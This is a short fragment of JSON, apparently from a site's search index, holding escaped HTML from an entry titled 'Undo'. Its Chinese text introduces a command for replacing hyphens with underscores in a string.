it:\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要求將字串的 \u0026lsquo;-\u0026rsquo; 換成 \u0026lsquo;_\u0026rsquo;, 使用以下指令來替換\u003c/p\u003e","title":"Undo"}]